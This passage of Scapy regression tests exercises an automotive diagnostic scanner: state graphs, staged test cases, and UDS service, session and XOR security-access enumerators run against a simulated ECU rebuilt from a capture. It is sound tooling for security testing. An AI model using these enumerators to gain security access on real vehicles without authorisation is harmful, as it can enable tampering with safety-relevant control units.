local_kwarg, verbose, debug, **kwargs): global execute assert verbose assert debug assert local_kwarg == 1 execute = True def post_execute(self, socket, # type: _SocketUnion state, # type: EcuState global_configuration # type: AutomotiveTestCaseExecutorConfiguration # noqa: E501 ): # type: (...) -> None global post_exec assert global_configuration.TestCase42["local_kwarg"] == 1 assert global_configuration.TestCase42["verbose"] assert global_configuration.TestCase42["debug"] post_exec = True tce = Scanner(MockSock(), test_cases=[TestCase42], verbose=True, debug=True, TestCase42_kwargs={"local_kwarg": 42}) tce.execute_test_case(TestCase42()) assert pre_exec == execute == post_exec == True = TestCase execute StateGenerator transition_done = False def transition_func(sock, conf, kwargs): assert kwargs["arg42"] == "hello" assert conf.TestCase43["local_kwarg"] == "world" global transition_done transition_done = True return True class TestCase43(MyTestCase, StateGenerator): def get_new_edge(self, socket, config): assert config.TestCase43["local_kwarg"] == "world" return EcuState(session=1), EcuState(session=2) def get_transition_function(self, socket, edge): assert edge[0] == EcuState(session=1) assert edge[1] == EcuState(session=2) return transition_func, {"arg42": "hello"}, None def execute(self, socket, state, **kwargs): return True tce = Scanner(MockSock(), test_cases=[TestCase43], TestCase43_kwargs={"local_kwarg": "world"}) assert len(tce.final_states) == 1 tce.execute_test_case(TestCase43()) assert len(tce.final_states) == 2 assert EcuState(session=1) in tce.final_states and EcuState(session=2) in tce.final_states assert tce.enter_state(EcuState(session=1), EcuState(session=2)) assert transition_done = TestCase execute StateGenerator no edge class TestCase43(MyTestCase, StateGenerator): def get_new_edge(self, socket, config): assert config.TestCase43["local_kwarg"] == "world" return None def execute(self, socket, state, **kwargs): return True def get_transition_function(self, socket, edge): raise NotImplementedError() tce = Scanner(MockSock(), test_cases=[TestCase43], TestCase43_kwargs={"local_kwarg": "world"}) assert len(tce.final_states) == 1 tce.execute_test_case(TestCase43()) assert len(tce.final_states) == 1 assert EcuState(session=1) in tce.final_states assert not tce.enter_state(EcuState(session=1), EcuState(session=2)) = TestCase execute StateGenerator with cleanupfunc transition_done = False cleanup_done = False def transition_func(sock, conf, kwargs): assert kwargs["arg42"] == "hello" assert conf.TestCase43["local_kwarg"] == "world" global transition_done transition_done = True return True def cleanup_func(sock, conf): assert conf.TestCase43["local_kwarg"] == "world" global cleanup_done cleanup_done = True return True class TestCase43(MyTestCase, StateGenerator): def get_new_edge(self, socket, config): assert config.TestCase43["local_kwarg"] == "world" return EcuState(session=1), EcuState(session=2) def get_transition_function(self, socket, edge): assert edge[0] == EcuState(session=1) assert edge[1] == EcuState(session=2) return transition_func, {"arg42": "hello"}, cleanup_func def execute(self, socket, state, **kwargs): return True tce = Scanner(MockSock(), test_cases=[TestCase43], TestCase43_kwargs={"local_kwarg": "world"}) assert len(tce.final_states) == 1 tce.execute_test_case(TestCase43()) assert len(tce.final_states) == 2 assert EcuState(session=1) in tce.final_states and EcuState(session=2) in tce.final_states assert not len(tce.cleanup_functions) assert tce.enter_state(EcuState(session=1), EcuState(session=2)) assert transition_done assert len(tce.cleanup_functions) tce.cleanup_state() assert not len(tce.cleanup_functions) assert cleanup_done = TestCase execute StateGenerator with not callable cleanupfunc transition_done = False def transition_func(sock, conf, kwargs): assert kwargs["arg42"] == "hello" assert conf.TestCase43["local_kwarg"] == "world" global transition_done transition_done = True return True class TestCase43(MyTestCase, StateGenerator): def get_new_edge(self, socket, config): assert config.TestCase43["local_kwarg"] == "world" return EcuState(session=1), EcuState(session=2) def get_transition_function(self, socket, edge): assert edge[0] == EcuState(session=1) assert edge[1] == EcuState(session=2) return transition_func, {"arg42": "hello"}, "fake" def execute(self, socket, state, **kwargs): return True tce = Scanner(MockSock(), test_cases=[TestCase43], TestCase43_kwargs={"local_kwarg": "world"}) assert len(tce.final_states) == 1 tce.execute_test_case(TestCase43()) assert len(tce.final_states) == 2 assert EcuState(session=1) in tce.final_states and EcuState(session=2) in tce.final_states assert not len(tce.cleanup_functions) assert tce.enter_state(EcuState(session=1), EcuState(session=2)) assert transition_done assert len(tce.cleanup_functions) tce.cleanup_state() assert not len(tce.cleanup_functions) = TestCase execute StateGenerator with cleanupfunc negative return transition_done = False cleanup_done = False def transition_func(sock, conf, kwargs): assert kwargs["arg42"] == "hello" assert conf.TestCase43["local_kwarg"] == "world" global transition_done transition_done = True return True def cleanup_func(sock, conf): assert conf.TestCase43["local_kwarg"] == "world" global cleanup_done cleanup_done = True return False class TestCase43(MyTestCase, StateGenerator): def get_new_edge(self, socket, config): assert config.TestCase43["local_kwarg"] == "world" return EcuState(session=1), EcuState(session=2) def get_transition_function(self, socket, edge): assert edge[0] == EcuState(session=1) assert edge[1] == EcuState(session=2) return transition_func, {"arg42": "hello"}, cleanup_func def execute(self, socket, state, **kwargs): return True tce = Scanner(MockSock(), test_cases=[TestCase43], TestCase43_kwargs={"local_kwarg": "world"}) assert len(tce.final_states) == 1 tce.execute_test_case(TestCase43()) assert len(tce.final_states) == 2 assert EcuState(session=1) in tce.final_states and EcuState(session=2) in tce.final_states assert not len(tce.cleanup_functions) assert tce.enter_state(EcuState(session=1), EcuState(session=2)) assert transition_done assert len(tce.cleanup_functions) tce.cleanup_state() assert not len(tce.cleanup_functions) assert cleanup_done = TestCase execute StateGenerator with cleanupfunc and path transition_done1 = False cleanup_done1 = False transition_done2 = False cleanup_done2 = False transition_error = False def transition_func1(sock, conf, kwargs): global transition_done1 transition_done1 = True return True def cleanup_func1(sock, conf): global cleanup_done1 cleanup_done1 = True return True def transition_func2(sock, conf, kwargs): global transition_done2 transition_done2 = True return not transition_error def cleanup_func2(sock, conf): global cleanup_done2 cleanup_done2 = True return True class TestCase43(MyTestCase, StateGenerator): def get_new_edge(self, socket, config): return EcuState(session=1), EcuState(session=2) def get_transition_function(self, socket, edge): return transition_func1, {"arg42": "hello"}, cleanup_func1 def execute(self, socket, state, **kwargs): return True class TestCase44(MyTestCase, StateGenerator): def get_new_edge(self, socket, config): return EcuState(session=2), EcuState(session=3) def get_transition_function(self, socket, edge): return transition_func2, None, cleanup_func2 def execute(self, socket, state, **kwargs): return True reset_done = False def reset_func(): global reset_done reset_done = True reconnect_done = False def reconnect_func(): global reconnect_done reconnect_done = True return MockSock() tce = Scanner(MockSock(), test_cases=[TestCase43, TestCase44], reset_handler=reset_func, reconnect_handler=reconnect_func) assert len(tce.final_states) == 1 tce.execute_test_case(TestCase43()) assert len(tce.final_states) == 2 assert EcuState(session=1) in tce.final_states and EcuState(session=2) in tce.final_states tce.execute_test_case(TestCase44()) assert len(tce.final_states) == 3 assert EcuState(session=3) in tce.final_states and EcuState(session=2) in tce.final_states assert not len(tce.cleanup_functions) assert tce.enter_state_path([EcuState(session=1), EcuState(session=2), EcuState(session=3)]) assert transition_done1 assert transition_done2 assert len(tce.cleanup_functions) == 2 assert reconnect_done assert reset_done tce.cleanup_state() assert cleanup_done1 assert cleanup_done2 try: tce.enter_state_path([EcuState(session=3)]) assert False except Scapy_Exception: assert True = Test downrate edge transition_done1 = False cleanup_done1 = False tce = Scanner(MockSock(), test_cases=[TestCase43, TestCase44], reset_handler=reset_func, reconnect_handler=reconnect_func) assert len(tce.final_states) == 1 tce.execute_test_case(TestCase43()) assert len(tce.final_states) == 2 assert EcuState(session=1) in tce.final_states and EcuState(session=2) in tce.final_states tce.execute_test_case(TestCase44()) assert len(tce.final_states) == 3 assert EcuState(session=3) in tce.final_states and EcuState(session=2) in tce.final_states assert not len(tce.cleanup_functions) transition_error = True assert not tce.enter_state_path([EcuState(session=1), EcuState(session=2), EcuState(session=3)]) assert transition_done1 assert cleanup_done1 assert len(tce.cleanup_functions) == 0 assert tce.state_graph.weights[(EcuState(session=1), EcuState(session=2))] == 1 assert tce.state_graph.weights[(EcuState(session=2), EcuState(session=3))] == 2 = TestCase execute TestCaseGenerator tc_executed = False class GeneratedTestCase(MyTestCase): def execute(self, socket, state, **kwargs): assert kwargs["local_kwarg"] == "world" global tc_executed tc_executed = True return True class TestCase43(MyTestCase, TestCaseGenerator): def execute(self, socket, state, **kwargs): return True def get_generated_test_case(self): return GeneratedTestCase() tce = Scanner(MockSock(), test_cases=[TestCase43], GeneratedTestCase_kwargs={"local_kwarg": "world"}) assert len(tce.final_states) == 1 assert len(tce.configuration.test_cases) == 1 tce.execute_test_case(tce.configuration.test_cases[0]) assert len(tce.configuration.test_cases) == 2 tce.execute_test_case(tce.configuration.test_cases[1]) assert tc_executed = TestCase scan timeout tc_executed = False class GeneratedTestCase(MyTestCase): def execute(self, socket, state, **kwargs): assert kwargs["local_kwarg"] == "world" global tc_executed tc_executed = True return True tce = Scanner(MockSock(), test_cases=[GeneratedTestCase], GeneratedTestCase_kwargs={"local_kwarg": "world"}) assert len(tce.final_states) == 1 assert len(tce.configuration.test_cases) == 1 tce.scan(-1) assert not tc_executed = TestCase scan tc_executed = False class GeneratedTestCase(MyTestCase): def execute(self, socket, state, **kwargs): assert kwargs["local_kwarg"] == "world" global tc_executed tc_executed = True self._state_completed[state] = True return True class TestCase43(MyTestCase, TestCaseGenerator): def execute(self, socket, state, **kwargs): self._state_completed[state] = True return True def get_generated_test_case(self): return GeneratedTestCase() tce = Scanner(MockSock(), test_cases=[TestCase43], GeneratedTestCase_kwargs={"local_kwarg": "world"}) assert len(tce.final_states) == 1 assert len(tce.configuration.test_cases) == 1 tce.scan() assert len(tce.configuration.test_cases) == 2 assert tc_executed assert tce.scan_completed = Test supported responses class MyTestCase1(AutomotiveTestCase): _description = "MyTestCase1" _supported_kwargs = copy.copy(AutomotiveTestCase._supported_kwargs) _supported_kwargs.update({ 'stop_event': (threading.Event, None), # type: ignore }) @property def supported_responses(self): return [EcuResponse(EcuState(session=2), responses=UDS() / UDS_RDBIPR(dataIdentifier=2) / Raw(b"de")), EcuResponse([EcuState(session=2), EcuState(security_level=6)], responses=UDS() / UDS_RDBIPR(dataIdentifier=3) / Raw(b"dea2")), EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x13))] class MyTestCase2(AutomotiveTestCase): _description = "MyTestCase2" _supported_kwargs = copy.copy(AutomotiveTestCase._supported_kwargs) _supported_kwargs.update({ 'stop_event': (threading.Event, None), # type: ignore }) @property def supported_responses(self): return [EcuResponse(EcuState(session=2), responses=UDS() / UDS_RDBIPR(dataIdentifier=5) / Raw(b"deadbeef1")), EcuResponse(EcuState(session=2), responses=UDS() / UDS_RDBIPR(dataIdentifier=6) / Raw(b"deadbeef2")), EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x10, requestServiceId=0x11))] tce = Scanner(MockSock(), test_cases=[MyTestCase1(), MyTestCase2()]) resps = tce.supported_responses assert len(resps) == 6 assert resps[0].responses[0].service != 0x7f assert resps[1].responses[0].service != 0x7f assert resps[2].responses[0].service != 0x7f assert resps[3].responses[0].service != 0x7f assert resps[4].responses[0].service == 0x7f assert resps[5].responses[0].service == 0x7f assert resps[0].responses[0].load == b"dea2" assert resps[1].responses[0].load == b"deadbeef1" assert resps[2].responses[0].load == b"deadbeef2" assert resps[3].responses[0].load == b"de" assert resps[4].responses[0].requestServiceId == 0x13 assert resps[5].responses[0].requestServiceId == 0x11 = Test show testcases try: tce.show_testcases() assert True except Exception: assert False try: tce.show_testcases_status() assert True except Exception: assert False = Test StateGeneratingServiceEnumerator class TestCase43(MyTestCase, StateGeneratingServiceEnumerator): def execute(self, socket, state, **kwargs): return True @property def results(self): # type: () -> List[_AutomotiveTestCaseScanResult] return [_AutomotiveTestCaseScanResult(EcuState(session=1), UDS()/UDS_DSC(b"\x03"), UDS()/UDS_DSCPR(b"\x03"), 1.1, 1.2)] tce = Scanner(MockSock(), test_cases=[TestCase43]) assert len(tce.final_states) == 1 tce.execute_test_case(TestCase43()) assert len(tce.final_states) == 2 assert EcuState(session=1) in tce.final_states and EcuState(session=3) in tce.final_states tf, args, cf = tce.state_graph.get_transition_tuple_for_edge((EcuState(session=1), EcuState(session=3))) assert cf is None assert tf is not None assert len(args) == 2 assert args["req"] == UDS()/UDS_DSC(b"\x03") assert "diagnosticSessionType" in args["desc"] and "extendedDiagnosticSession" in args["desc"] assert not tce.enter_state(EcuState(session=1), EcuState(session=3)) ================================================ FILE: test/contrib/automotive/scanner/graph.uts ================================================ % Regression tests for graph + Load general modules = Load contribution layer from scapy.contrib.automotive.scanner.graph import * import pickle import io + Graph tests = Basic test g = Graph() g.add_edge(("1", "1")) g.add_edge(("1", "2")) g.add_edge(("2", "3")) g.add_edge(("3", "4")) g.add_edge(("4", "4")) assert "1" in g.nodes assert "2" in g.nodes assert "3" in g.nodes assert "4" in g.nodes assert len(g.nodes) == 4 assert g.dijkstra(g, "1", "4") == ["1", "2", "3", "4"] = Shortest path test g = Graph() g.add_edge(("1", "1")) g.add_edge(("1", "2")) g.add_edge(("2", "3")) g.add_edge(("3", "4")) g.add_edge(("4", "4")) assert g.dijkstra(g, "1", "4") == ["1", "2", "3", "4"] g.add_edge(("1", "4")) assert g.dijkstra(g, "1", "4") == ["1", "4"] g.add_edge(("3", "5")) g.add_edge(("5", "6")) print(g.dijkstra(g, "1", "6")) assert g.dijkstra(g, "1", "6") == ["1", "2", "3", "5", "6"] or \ g.dijkstra(g, "1", "6") == ['1', '4', '3', '5', '6'] g.add_edge(("2", "5")) print(g.dijkstra(g, "1", "6")) assert g.dijkstra(g, "1", "6") == ["1", "2", "5", "6"] = graph add transition function g.add_edge(("4", "6"), transition_function=(str, str)) assert g.dijkstra(g, "1", "6") == ["1", "4", "6"] = graph pickle f = io.BytesIO() pickle.dump(g, f) unp = pickle.loads(f.getvalue()) assert unp.dijkstra(g, "1", "6") == ["1", "4", "6"] f1, f2 = unp.get_transition_tuple_for_edge(("4", "6")) assert f1==f2 assert "1" == f1(1) ================================================ FILE: test/contrib/automotive/scanner/staged_test_case.uts ================================================ % Regression tests for automotive scanner staged test_case + Load general modules = Load contribution layer from scapy.contrib.automotive.scanner.test_case import AutomotiveTestCase from scapy.contrib.automotive.ecu import EcuState, EcuResponse from scapy.contrib.automotive.scanner.staged_test_case import StagedAutomotiveTestCase from scapy.contrib.automotive.uds import UDS, UDS_RDBIPR, UDS_NR from scapy.packet import Raw + Basic checks = Definition of Test classes class MyTestCase1(AutomotiveTestCase): _description = "MyTestCase1" @property def supported_responses(self): return [EcuResponse(EcuState(session=2), responses=UDS() / UDS_RDBIPR(dataIdentifier=2) / Raw(b"de")), EcuResponse([EcuState(session=2), EcuState(security_level=6)], responses=UDS() / UDS_RDBIPR(dataIdentifier=3) / Raw(b"dea2")), EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x7f, requestServiceId=0x13))] class MyTestCase2(AutomotiveTestCase): _description = "MyTestCase2" @property def supported_responses(self): return [EcuResponse(EcuState(session=2), responses=UDS() / UDS_RDBIPR(dataIdentifier=5) / Raw(b"deadbeef1")), EcuResponse(EcuState(session=2), responses=UDS() / UDS_RDBIPR(dataIdentifier=6) / Raw(b"deadbeef2")), EcuResponse(EcuState(session=range(0,255)), responses=UDS() / UDS_NR(negativeResponseCode=0x10, requestServiceId=0x11))] = Create instance of stage test tc1 = MyTestCase1() tc2 = MyTestCase2() mt = StagedAutomotiveTestCase([tc1, tc2]) assert len(mt.test_cases) == 2 assert mt.current_test_case == tc1 assert mt.current_connector == None assert mt.previous_test_case == None assert mt[0] == tc1 assert mt[1] == tc2 = Check completion tc1 = MyTestCase1() tc2 = MyTestCase2() mt = StagedAutomotiveTestCase([tc1, tc2]) tc1._state_completed[EcuState(session=1)] = False tc2._state_completed[EcuState(session=1)] = False assert not mt.completed assert not mt.has_completed(EcuState(session=1)) tc1._state_completed[EcuState(session=1)] = True assert mt.current_test_case == tc1 assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert mt.current_test_case == tc2 assert not mt.completed tc2._state_completed[EcuState(session=1)] = True assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert mt.completed assert mt.has_completed(EcuState(session=1)) = Check completion 2 tc1 = MyTestCase1() tc2 = MyTestCase2() mt = StagedAutomotiveTestCase([tc1, tc2]) tc1._state_completed[EcuState(session=1)] = False tc2._state_completed[EcuState(session=1)] = False assert not mt.completed assert not mt.has_completed(EcuState(session=1)) tc1._state_completed[EcuState(session=1)] = True assert mt.current_test_case == tc1 assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) tc1._state_completed[EcuState(session=1)] = False assert not mt.has_completed(EcuState(session=1)) tc1._state_completed[EcuState(session=1)] = True assert mt.current_test_case == tc1 assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert mt.current_test_case == tc2 assert not mt.completed tc2._state_completed[EcuState(session=1)] = True assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert mt.completed assert mt.has_completed(EcuState(session=1)) = Check supported responses tc1 = MyTestCase1() tc2 = MyTestCase2() tx = StagedAutomotiveTestCase([tc1, tc2]) resps = tx.supported_responses assert len(resps) == 6 assert resps[0].responses[0].service != 0x7f assert resps[1].responses[0].service != 0x7f assert resps[2].responses[0].service != 0x7f assert resps[3].responses[0].service != 0x7f assert resps[4].responses[0].service == 0x7f assert resps[5].responses[0].service == 0x7f assert resps[0].responses[0].load == b"dea2" assert resps[1].responses[0].load == b"deadbeef1" assert resps[2].responses[0].load == b"deadbeef2" assert resps[3].responses[0].load == b"de" assert resps[4].responses[0].requestServiceId == 0x13 assert resps[5].responses[0].requestServiceId == 0x11 = Check connector test_storage_tc2 = None class MyTestCase2(AutomotiveTestCase): _description = "MyTestCase2" def pre_execute(self, socket, state, global_configuration): global test_storage_tc2 print(global_configuration) test_storage_tc2 = global_configuration def supported_responses(self): return [] test_storage_tc3 = None class MyTestCase3(AutomotiveTestCase): _description = "MyTestCase3" def pre_execute(self, socket, state, global_configuration): global test_storage_tc3 print(global_configuration) test_storage_tc3 = global_configuration def supported_responses(self): return [] def con1(tc1, tc2): assert isinstance(tc1, MyTestCase1) assert isinstance(tc2, MyTestCase2) return {"tc2_con_config": 42} def con2(tc2, tc3): assert isinstance(tc2, MyTestCase2) assert isinstance(tc3, MyTestCase3) return {"tc3_con_config": "deadbeef"} tc1 = MyTestCase1() tc2 = MyTestCase2() tc3 = MyTestCase3() assert test_storage_tc2 is None assert test_storage_tc3 is None mt = StagedAutomotiveTestCase([tc1, tc2, tc3], [None, con1, con2]) assert mt.current_test_case == tc1 assert mt.current_connector == None #Move stage forward tc1._state_completed[EcuState(session=1)] = True assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert mt.current_test_case == tc2 assert mt.current_connector == con1 mt.pre_execute(None, None, {"MyTestCase2": {"verbose": True, "config": "whatever"}}) assert test_storage_tc2["MyTestCase2"]["verbose"] assert test_storage_tc2["MyTestCase2"]["tc2_con_config"] == 42 assert test_storage_tc2["MyTestCase2"]["config"] == "whatever" #Move stage forward tc2._state_completed[EcuState(session=1)] = True assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert not mt.has_completed(EcuState(session=1)) assert mt.current_test_case == tc3 assert mt.current_connector == con2 mt.pre_execute(None, None, {}) assert test_storage_tc3["MyTestCase3"]["tc3_con_config"] == "deadbeef" = Check show dump = mt.show(dump=True) assert "MyTestCase1" in dump assert "MyTestCase2" in dump assert "MyTestCase3" in dump = Check len assert len(mt) == 3 = Check generator functions assert mt.get_generated_test_case() == None assert mt.get_new_edge(None, None) == None assert mt.get_transition_function(None, None) == None ================================================ FILE: test/contrib/automotive/scanner/test_case.uts ================================================ % Regression tests for automotive scanner test_case + Load general modules = Load contribution layer from scapy.contrib.automotive.scanner.test_case import AutomotiveTestCase from scapy.contrib.automotive.ecu import EcuState + Basic checks = Definition of Test class class MyTestCase(AutomotiveTestCase): _description = "MyTestCase" _supported_kwargs = {"testarg": (int, None)} def supported_responses(self): return [] = Check supported kwargs try: MyTestCase.check_kwargs({"testarg": 5}) except Scapy_Exception as e: assert False try: MyTestCase.check_kwargs({"test": 5}) assert False except Scapy_Exception as e: assert "Keyword-Argument test not supported" in str(e) try: MyTestCase.check_kwargs({"testarg": 5.5}) assert False except Scapy_Exception as e: assert "Keyword-Value" in str(e) assert "is not instance of type " in str(e) or \ "is not instance of type " in str(e) = Create instance of test class mt = MyTestCase() mt._state_completed[EcuState(session=1)] = True mt._state_completed[EcuState(session=2)] = True mt._state_completed[EcuState(session=3)] = False = Tests of has_completed assert mt.completed is False assert mt.has_completed(EcuState(session=1)) assert mt.has_completed(EcuState(session=3)) is False assert len(mt.scanned_states) == 3 = Tests of has_completed with new state assert mt.completed is False assert mt.has_completed(EcuState(session=4)) is False assert mt.has_completed(EcuState(session=3)) is False assert len(mt.scanned_states) == 4 = Tests of completed mt._state_completed[EcuState(session=3)] = True mt._state_completed[EcuState(session=4)] = True assert mt.completed = Test of show header = mt._show_header(dump=True) assert "MyTestCase" in header state_info = mt._show_state_information(dump=True) assert "session" in state_info assert "False" not in state_info assert "True" in state_info mt._state_completed[EcuState(session=3)] = False state_info = mt._show_state_information(dump=True) assert "session" in state_info assert "False" in state_info assert "True" in state_info dump = mt.show(dump=True, verbose=True) assert "session" in dump assert "MyTestCase" in dump ================================================ FILE: test/contrib/automotive/scanner/uds_scanner.uts ================================================ % Regression tests for Simulated ECUs and UDS Scanners ~ scanner + Configuration ~ conf = Imports import io import pickle from scapy.contrib.isotp import ISOTPMessageBuilder from test.testsocket import TestSocket, cleanup_testsockets, UnstableSocket from scapy.automaton import ObjectPipe ############ ############ + Load general modules = Load contribution layer from scapy.contrib.automotive.uds import * from scapy.contrib.automotive.uds_ecu_states import * from scapy.contrib.automotive.uds_scan import * from scapy.contrib.automotive.ecu import * load_layer("can") conf.debug_dissector = False = Define Testfunction def executeScannerInVirtualEnvironment(supported_responses, enumerators, unstable_socket=True, software_reset=False, **kwargs): tester_obj_pipe = ObjectPipe(name="TesterPipe") ecu_obj_pipe = ObjectPipe(name="ECUPipe") TesterSocket = UnstableSocket if unstable_socket else TestSocket tester = TesterSocket(UDS, tester_obj_pipe) ecu = TestSocket(UDS, ecu_obj_pipe) tester.pair(ecu) answering_machine = EcuAnsweringMachine( supported_responses=supported_responses, main_socket=ecu, basecls=UDS, verbose=False) def reset(): answering_machine.state.reset() answering_machine.state["session"] = 1 sniff(timeout=0.001, opened_socket=[ecu, tester]) def reconnect(): try: tester.close() except Exception: pass tester = TesterSocket(UDS, tester_obj_pipe) ecu.pair(tester) return tester def answering_machine_thread(): answering_machine( timeout=120, stop_filter=lambda x: bytes(x) == b"\xff\xff\xff") sim = threading.Thread(target=answering_machine_thread) try: sim.start() if software_reset: scanner = UDS_Scanner( tester, software_reset_handler=uds_software_reset, reconnect_handler=reconnect, test_cases=enumerators, timeout=0.1, retry_if_none_received=True, unittest=True, **kwargs) else: scanner = UDS_Scanner( tester, reset_handler=reset, reconnect_handler=reconnect, test_cases=enumerators, timeout=0.1, retry_if_none_received=True, unittest=True, **kwargs) for i in range(12): print("Starting scan") scanner.scan(timeout=10) if scanner.scan_completed: print("Scan completed after %d iterations" % i) break finally: ecu.ins.send(Raw(b"\xff\xff\xff")) sim.join(timeout=2) assert not sim.is_alive() cleanup_testsockets() tester_obj_pipe.close() ecu_obj_pipe.close() if LINUX: pickle_test(scanner) return scanner def pickle_test(scanner): f = io.BytesIO() pickle.dump(scanner, f) unp = pickle.loads(f.getvalue()) assert scanner.scan_completed == unp.scan_completed assert scanner.state_paths == unp.state_paths = Load packets from pcap conf.contribs['CAN']['swap-bytes'] = True pkts = rdpcap(scapy_path("test/pcaps/candump_uds_scanner.pcap.gz")) assert len(pkts) = Create UDS messages from packets builder = ISOTPMessageBuilder(basecls=UDS, use_ext_address=False, rx_id=[0x641, 0x651]) msgs = list() for p in pkts: if p.data == b"ECURESET": msgs.append(p) else: builder.feed(p) if len(builder): msgs.append(builder.pop()) assert len(msgs) = Create ECU-Clone from packets mEcu = Ecu(logging=False, verbose=False, store_supported_responses=True, lookahead=3) for p in msgs: if isinstance(p, CAN) and p.data == b"ECURESET": mEcu.reset() else: mEcu.update(p) assert len(mEcu.supported_responses) = Test UDS_SAEnumerator evaluate_response e = UDS_SAEnumerator() config = {} s = EcuState(session=1) assert False == e._evaluate_response(s, UDS(b"\x27\x01"), None, **config) config = {"exit_if_service_not_supported": True} assert not e._retry_pkt[s] assert True == e._evaluate_response(s, UDS(b"\x27\x01"), UDS(b"\x7f\x27\x11"), **config) assert not e._retry_pkt[s] assert True == e._evaluate_response(s, UDS(b"\x27\x01"), UDS(b"\x7f\x27\x24"), **config) assert e._retry_pkt[s] == UDS(b"\x27\x01") assert False == e._evaluate_response(s, UDS(b"\x27\x02"), UDS(b"\x7f\x27\x24"), **config) assert not e._retry_pkt[s] assert True == e._evaluate_response(s, UDS(b"\x27\x01"), UDS(b"\x7f\x27\x37"), **config) assert e._retry_pkt[s] == UDS(b"\x27\x01") assert False == e._evaluate_response(s, UDS(b"\x27\x01"), UDS(b"\x7f\x27\x37"), **config) assert not e._retry_pkt[s] assert True == e._evaluate_response(s, UDS(b"\x27\x01"), UDS(b"\x67\x01ab"), **config) assert not e._retry_pkt[s] assert False == e._evaluate_response(s, UDS(b"\x27\x01"), UDS(b"\x67\x02ab"), **config) assert not e._retry_pkt[s] = Test UDS_SA_XOR_Enumerator stand alone mode TesterSocket = TestSocket ecu_sock = TestSocket(UDS) mTester = TesterSocket(UDS) ecu_sock.pair(mTester) answering_machine = EcuAnsweringMachine(supported_responses=mEcu.supported_responses, main_socket=ecu_sock, basecls=UDS, verbose=False) sim = threading.Thread(target=answering_machine, kwargs={'timeout': 1000, "stop_filter": lambda x: bytes(x) == b"\xff\xff\xff"}) sim.start() try: resp = mTester.sr1(UDS()/UDS_TP(b"\x00"), verbose=False, timeout=1) print(repr(resp)) assert resp and resp.service != 0x7f resp = mTester.sr1(UDS()/UDS_DSC(diagnosticSessionType=3), verbose=False, timeout=1) print(repr(resp)) assert resp and resp.service != 0x7f assert UDS_SA_XOR_Enumerator().get_security_access(mTester, 1) finally: mTester.send(Raw(b"\xff\xff\xff")) sim.join(timeout=2) cleanup_testsockets() = Test configuration validation try: scanner = UDS_Scanner(TestSocket(UDS), test_cases=[UDS_SA_XOR_Enumerator, UDS_DSCEnumerator, UDS_ServiceEnumerator], UDS_DSCEnumerator_kwargs={"scan_range": range(0x1000), "delay_state_change": 0, "overwrite_timeout": False}) assert False except Scapy_Exception: pass = Simulate ECU and run Scanner scanner = executeScannerInVirtualEnvironment( mEcu.supported_responses, [UDS_SA_XOR_Enumerator, UDS_DSCEnumerator, UDS_ServiceEnumerator], UDS_DSCEnumerator_kwargs={"scan_range": range(5), "delay_state_change": 0, "overwrite_timeout": False}, UDS_SA_XOR_Enumerator_kwargs={"scan_range": range(5)}, UDS_ServiceEnumerator_kwargs={"scan_range": [0x10, 0x11, 0x14, 0x19, 0x22, 0x23, 0x24, 0x27, 0x28, 0x29, 0x2A, 0x2C, 0x2E, 0x2F, 0x31, 0x34, 0x35, 0x36, 0x37, 0x38, 0x3D, 0x3E, 0x83, 0x84, 0x85, 0x87], "request_length": 1}) scanner.show_testcases() scanner.show_testcases_status() assert len(scanner.state_paths) == 5 assert scanner.scan_completed assert scanner.progress() > 0.95 assert EcuState(session=1) in scanner.final_states assert EcuState(session=2, tp=1) in scanner.final_states assert EcuState(session=3, tp=1) in scanner.final_states assert EcuState(session=2, tp=1, security_level=2) in scanner.final_states assert EcuState(session=3, tp=1, security_level=2) in scanner.final_states #################### UDS_SA_XOR_Enumerator ################ tc = scanner.configuration.test_cases[0] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 19 assert len(tc.results_with_positive_response) >= 6 assert len(tc.scanned_states) == 5 result = tc.show(dump=True) assert "serviceNotSupportedInActiveSession received 5 times" in result assert "incorrectMessageLengthOrInvalidFormat received 14 times" in result ################# UDS_DSCEnumerator ##################### tc = scanner.configuration.test_cases[1] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 20 assert len(tc.results_with_positive_response) == 5 assert len(tc.scanned_states) == 5 result = tc.show(dump=True) assert "incorrectMessageLengthOrInvalidFormat received 20 times" in result ###################### UDS_ServiceEnumerator ################### tc = scanner.configuration.test_cases[2] assert len(tc.results_without_response) < 10 if tc.results_without_response: tc.show() assert len(tc.results_with_negative_response) == 130 assert len(tc.results_with_positive_response) == 0 assert len(tc.scanned_states) == 5 result = tc.show(dump=True) assert "incorrectMessageLengthOrInvalidFormat received 34 times" in result assert "serviceNotSupported received 75 times" in result assert "serviceNotSupportedInActiveSession received 19 times" in result assert "securityAccessDenied 